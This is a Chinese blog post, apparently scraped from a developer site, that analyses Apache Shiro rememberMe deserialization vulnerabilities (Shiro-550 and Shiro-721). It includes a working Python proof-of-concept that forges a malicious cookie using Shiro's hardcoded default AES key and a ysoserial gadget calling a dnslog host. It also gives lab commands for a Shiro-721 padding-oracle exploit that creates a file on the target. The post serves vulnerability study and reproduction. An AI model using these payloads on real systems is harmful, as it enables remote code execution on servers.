    这个方法进行了一个反序列化,然后返回序列化后的byte数组

    看下面的代码,如果getCipherService方法不为空的话,就会去执行下一段代码。getCipherService方法是获取加密模式。

    查看调用,会发现在构造方法里面对该值进行定义。

    到了这里后又会调用encrypt方法,对序列化后的数据进行处理。

    这里调用了cipherService.encrypt方法并且传入序列化数据,和getEncryptionCipherKey方法。

    这里的getEncryptionCipherKey方法是获取秘钥的方法


    再次查看调用的时候发现setCipherKey方法在构造方法里面被调用了

    查看DEFAULT_CIPHER_KEY_BYTES值后发现里面定义了一串秘钥而且秘钥是定义死的

    返回刚刚加密的地方

    然后跟近下面圈起来的地方

    查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。

    iv的值由generateInitializationVector方法生成,进行跟进。

    然后再查看getDefaultSecureRandom方法

    再次返回generateInitializationVector继续查看,这里会发现new了一个byte数组长度为16

    最后得到了ivBytes值进行返回

    然后再返回到加密方法的地方查看具体加密的实现

    这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。

    在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。

    然后后面就是进行base64加密后设置为用户的Cookie的rememberMe字段中。

    解密

    我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt进行加密,该类中也有对应的解密操作。

    调用getRememberedPrincipals方法,然后调用了convertBytesToPrincipals方法,然后使用了decrypt方法,然后用加密的方法生成iv值,传入到他的重载方法中,然后就会返回deserialize方法的返回值,并且传入AES加密后的数据。然后调用readObject方法进行反序列化操作

    漏洞攻击

    现在已经知道了是因为获取rememberMe值,然后进行解密后再进行反序列化操作。

    那么在这里如果拿到了密钥就可以伪造加密流程。

    这里找了一个加密脚本

    # -*-* coding:utf-8
    # @Time    :  2020/10/16 17:36
    # @Author  : nice0e3
    # @FileName: poc.py
    # @Software: PyCharm
    # @Blog    :https://www.cnblogs.com/nice0e3/
    import base64
    import uuid
    import subprocess
    from Crypto.Cipher import AES
    
    
    def rememberme(command):
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                                 stdout=subprocess.PIPE)
        # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = "kPH+bIxk5D2deZiIxcaaaA=="
        mode = AES.MODE_CBC
        iv = uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        # payload = encode_rememberme('127.0.0.1:12345')
        # payload = rememberme('calc.exe')
        payload = rememberme('http://u89cy6.dnslog.cn')
        with open("./payload.cookie", "w") as fpw:
    
            print("rememberMe={}".format(payload.decode()))
            res = "rememberMe={}".format(payload.decode())
            fpw.write(res)
    

    获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。

    Shiro-721

    利用条件

    知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。

    原理

    Apache Shiro RememberMe Cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.

    • AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
    • 在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
    • Padding Oracle Attack 利用前提 :
      1、攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
      2、服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。
    • CBC Byte-Flipping Attack 利用前提 :
      1、明文和密文已知

    用通俗易懂的话来说就是

    shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的。

    影响版本

    1.2.5,
    1.2.6,
    1.3.0,
    1.3.1,
    1.3.2,
    1.4.0-RC2,
    1.4.0,
    1.4.1

    漏洞复现

    先使用合法账号进行登录勾选remember Me然后使用bp抓包

    然后获取到cookie

    此处注意删除JSESSIONID,否则后续无法利用
    将其中的remember Me字段复制下来输入到工具中进行利用:

    java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
    
    
    python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class
    

    最后会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

    展开全文
  • 1、Shiro rememberMe反序列化漏洞(Shiro-550) 3、一键自动化漏洞利用 1、Shiro rememberMe反序列化漏洞(Shiro-5
  • Shiro_exploit用于检测与利用Apache Shiro反序列化漏洞脚本。可以帮助企业发现自身安全漏洞。 工具下载地址:Shiro_Exploit 该脚本通过网络收集到的22个key,利用ysoserial工具中的URLDNS这个Gadget,并结合dnslog...
  • Apache Shiro反序列化漏洞利用

    千次阅读 2020-11-21 22:35:37
    Apache Shiro反序列化漏洞利用 原文链接:https://mp.weixin.qq.com/s/6tUPrLGL0qCL01hlCJyWoA ◐关于Shiro Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理. Shiro提供了RememberMe的功能,当...
  • 本文主要介绍shiro反序列化漏洞综合利用工具的安装过程。
  • Apache Shiro是一个强大易用的Java安全框架,提供了...1、Shiro rememberMe反序列化漏洞(Shiro-550) 1.1 漏洞原理 1.2 影响版本 1.3 漏洞特征 1.4 漏洞利用 1.4.1 利用方式一 1.4.2 利用方式二 2、Shiro P...
  • 深入利用Shiro反序列化漏洞

    千次阅读 2020-12-22 12:24:58
    0x00:背景​ shiro反序列RCE是在实战中一个比较高频且舒适的漏洞shiro框架在java web登录认证中广泛应用,每一次目标较多的情况下几乎都可以遇见shiro,而因其payload本身就是加密的,无攻击特征,所以几乎不会...
  • shiro反序列化漏洞

    千次阅读 2022-06-28 14:41:04
    Apache Shiro 是一个强大灵活的开源安全框架,可以完全处理身份验证、授权、加密和会话管理。shiro框架详细介绍:Shiro安全框架【快速入门】就这一篇! - 知乎 (zhihu.com)在Shiro
  • Shiro反序列化漏洞

    千次阅读 2022-04-07 17:14:21
    文章目录 一、Shrio反序列导致命令执行...1.3 漏洞利用 1.3.1 利用方法(一) 1.3.2 利用方法(二) 1.4 防御措施 二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422) 2.1 漏洞简介 2.2 影响版
  • 在一些面试以及攻防对抗中,总会碰到shiro反序列的命令执行,于是给大家简单的科普一下。 Apache Shiro是一款开源企业常见JAVA安全框架,此框架提供了RememberMe的功能,这是很多网站都具备的,例如你登录了一个...
  • 可以看见已经搭建成功了,我们通过burp抓包可以看到shiro反序列的特征 加密分析 HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/samples; Max-Age=0; Expires=Tue, 29-Mar-2022 08:48:15 GMT Set-Cookie: ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 608
精华内容 243
热门标签
关键字:

shiro反序列化漏洞利用